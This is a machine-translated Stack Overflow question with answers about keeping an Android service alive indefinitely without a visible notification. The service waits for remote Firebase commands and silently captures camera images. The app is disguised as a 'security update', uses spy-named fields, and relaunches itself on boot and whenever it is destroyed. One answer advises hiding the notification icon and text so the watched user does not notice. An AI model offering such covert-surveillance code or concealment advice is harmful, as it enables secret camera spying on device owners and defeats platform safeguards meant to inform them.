kar*_*.io 11 service android firebase
我创建了一个服务,我想永远运行而不显示前台通知.我有Firebase监听器onStartCommand,只要数据库中的数据发生变化就会监听.每当数据发生变化时,它都会执行特定任务,例如 捕获图像.
在Activity类中,没有什么只是我已经开始服务那里然后我完成了它.问题是我可以在我的Samsung J2设备上看到Nexus 5,当我从App抽屉中杀死应用程序时,该服务已停止.我已经实现了广播接收器BOOT_COMPLETED并且也在服务中,onDestroy但它也没有在启动时工作.简而言之,我的服务没有永远运行.我也不确定Firebase监听器是否可以在后台服务中运行.有许多应用程序,如whatsapp,远足,Applock,许多其他应用程序即使在强制关闭时重新启动.我希望我的应用程序每次都听Firebase数据库.它纯粹是基于服务的App.It没有任何活动.以下是代码 -
清单文件
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.security.update">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-feature android:name="android.hardware.camera" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<application
android:screenOrientation="portrait"
android:name="android.support.multidex.MultiDexApplication"
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:supportsRtl="true"
android:theme="@style/AppTheme">
<activity
android:name=".ActivityForPermissions"
android:screenOrientation="portrait">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name="com.security.update.CameraService"
android:enabled="true"
/>
<receiver android:name="com.security.update.ReceiverCall"
android:enabled="true">
<intent-filter>
<action android:name="RESTART_SERVICE" />
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
</application>
Run Code Online (Sandbox Code Playgroud)
活动类
public class ActivityForPermissions extends AppCompatActivity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
startService(new Intent(ActivityForPermissions.this,CameraService.class));
finish();
}
@Override
protected void onDestroy() {
super.onDestroy();
}}
Run Code Online (Sandbox Code Playgroud)
接收器类
public class ReceiverCall extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
context.startService(new Intent(context, CameraService.class));;
}
}
Run Code Online (Sandbox Code Playgroud)
服务类
public class CameraService extends Service
{
//Camera variables
//a surface holder
private SurfaceHolder sHolder;
//a variable to control the camera
private Camera mCamera;
//the camera parameters
private Parameters parameters;
/** Called when the activity is first created. */
private StorageReference mStorageRef;
File spyfile;
FirebaseDatabase database;
public static DatabaseReference RequestRef,SpyStatus;
String devicemodel;
@Override
public void onCreate()
{
super.onCreate();
android.os.Debug.waitForDebugger();
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
devicemodel = android.os.Build.MODEL;
mStorageRef = FirebaseStorage.getInstance().getReference();
database = FirebaseDatabase.getInstance();
RequestRef = database.getReference("CameraRequest");
SpyStatus = database.getReference("SpyStatus");
ListenerForRequestDone();
return START_STICKY;
}
@Override
public void onDestroy() {
super.onDestroy();
Intent intent = new Intent("RESTART_SERVICE");
sendBroadcast(intent);
}
public void ListenerForRequestDone(){
RequestRef.addChildEventListener(new ChildEventListener() {
@Override
public void onChildAdded(DataSnapshot dataSnapshot, String s) {
}
@Override
public void onChildChanged(DataSnapshot dataSnapshot, String s) {
StartImageCapture(1);
}
@Override
public void onChildRemoved(DataSnapshot dataSnapshot) {
}
@Override
public void onChildMoved(DataSnapshot dataSnapshot, String s) {
}
@Override
public void onCancelled(DatabaseError databaseError) {
}
});
}
Run Code Online (Sandbox Code Playgroud)
还有类似的问题,例如.这但是没有正确的答案.
第一个答案:
您的服务正在被杀,因为您可能正在尝试执行Google/Android操作系统明确不希望发生的事情.这是SDK文档的剪辑,然后我将解释:
(来自服务生命周期)因为用户通常只能看到一些进程,这意味着除了内存不足的情况外,不应该杀死该服务.但是,由于用户没有直接了解后台服务,因此在该状态下它被认为是有效的候选者,你应该为此做好准备.特别是,长期运行的服务将越来越可能被杀死,并且如果它们保持足够长的时间,则可以保证被杀死(如果合适,可以重新启动).
你看,他们实际上是在努力确保用户不会有数百个SpyServices永久运行,占用资源或其他任何东西.你怎么能避免这种情况?答案就在那里......显示某种类型的通知,即使只是说"服务运行"也会使服务不被破坏.当然,如果你真的试图"窥探"用户,那么通知间谍服务正在运行并不是一个好主意.如果要继续此模式,请尝试"隐藏"通知图标和非打印文本.如果用户正在查看通知,他们可能看不到它,或认为这只是一个小问题.
第二个答案:
切换到更"'事件驱动'的设计.我假设您能够捕获'on-boot','call-received'和其他消息,因此注册接收器以指示手机使用的事件,这样您可以轻松拼接多个10-15分钟细分几乎完全覆盖.
我的目标是:
第三个答案:
看一下'绑定'模式.如果你可以获得任何"绑定"服务的活动,那么只要它受到约束,它就不会被杀死.如果将"START_STICKY"与绑定模式结合使用,则在释放绑定后,您将能够继续运行一段时间.
| 归档时间: |
|
| 查看次数: |
7803 次 |
| 最近记录: |